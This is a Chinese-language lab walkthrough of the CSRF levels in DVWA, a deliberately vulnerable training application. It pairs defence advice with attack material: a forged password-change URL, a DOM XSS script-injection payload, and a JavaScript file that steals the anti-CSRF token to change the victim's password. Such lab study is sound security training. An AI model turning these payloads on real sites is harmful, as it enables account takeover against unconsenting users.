(DVWA) v1.10 Development CSRF全等级通关攻略
字数 984 2025-08-15 21:33:14
DVWA v1.10 CSRF全等级通关教学文档
CSRF基础概念
跨站请求伪造(CSRF)是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或访问包含攻击代码的页面,在受害者不知情的情况下以受害者身份向服务器发送请求,从而完成非法操作。
与XSS的区别:CSRF没有盗取cookie而是直接利用。
Low级别攻击
漏洞分析
- 服务器仅检查两次输入的密码是否相同
- 无任何防护措施
攻击方法
-
直接构造链接:
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=crack&password_conf=crack&Change=Change# -
构造攻击页面(crack.html):
<h1>404</h1> <h2>file not found.</h2> -
与XSS结合利用:
防御建议
- 添加CSRF Token验证
- 检查Referer头
Medium级别攻击
防护机制
检查HTTP Referer头中是否包含服务器名(SERVER_NAME):
if(stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) === false)
绕过方法
- 在攻击者服务器上创建包含服务器名的页面(如127.0.0.1.html)
- 页面中包含恶意CSRF代码:
<h1>404</h1> <h2>can not find file in this server.</h2>
防御建议
- 严格验证Referer头
- 添加CSRF Token
High级别攻击
防护机制
- 使用Anti-CSRF token机制
- 每次访问页面生成随机token
- 请求必须包含有效token
攻击方法
结合XSS漏洞获取token:
-
利用DOM XSS漏洞:
?default=English#<script>alert('XSS')</script> -
构造JavaScript攻击代码(xss.js):
var theUrl = 'http://127.0.0.1/dvwa/vulnerabilities/csrf/'; var pass = '2021'; if (window.XMLHttpRequest){ xmlhttp=new XMLHttpRequest(); }else{ xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.withCredentials = true; var hacked = false; xmlhttp.onreadystatechange=function(){ if (xmlhttp.readyState==4 && xmlhttp.status==200) { var text = xmlhttp.responseText; var regex = /user_token\' value\=\'(.*?)\'/; var match = text.match(regex); var token = match[1]; var new_url = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new='+pass+'&password_conf='+pass+'&Change=Change&user_token='+token+'#'; if(!hacked){ alert('Got token:' + match[1]); hacked = true; xmlhttp.open("GET", new_url, false ); xmlhttp.send(); } count++; } }; xmlhttp.open("GET", theUrl, false ); xmlhttp.send(); -
触发攻击:
?default=English#<script src="http://127.0.0.1/xss.js"></script>
防御建议
- 对XSS漏洞进行修复
- 使用HttpOnly Cookie
- 增加敏感操作的二次验证
Impossible级别
安全机制
- 要求用户输入当前密码
- 结合CSRF Token
- 无有效攻击向量
总结
| 级别 | 防护措施 | 攻击方法 | 防御建议 |
|---|---|---|---|
| Low | 无 | 直接构造链接/攻击页面 | 添加CSRF Token |
| Medium | 检查Referer头 | 构造包含服务器名的攻击页面 | 严格验证Referer头 |
| High | CSRF Token | 结合XSS获取Token | 修复XSS漏洞 |
| Impossible | 要求当前密码+Token | 无有效攻击向量 | - |
最佳实践:
- 关键操作使用POST请求
- 使用CSRF Token并验证
- 检查Referer头
- 敏感操作要求二次验证
- 及时修复XSS漏洞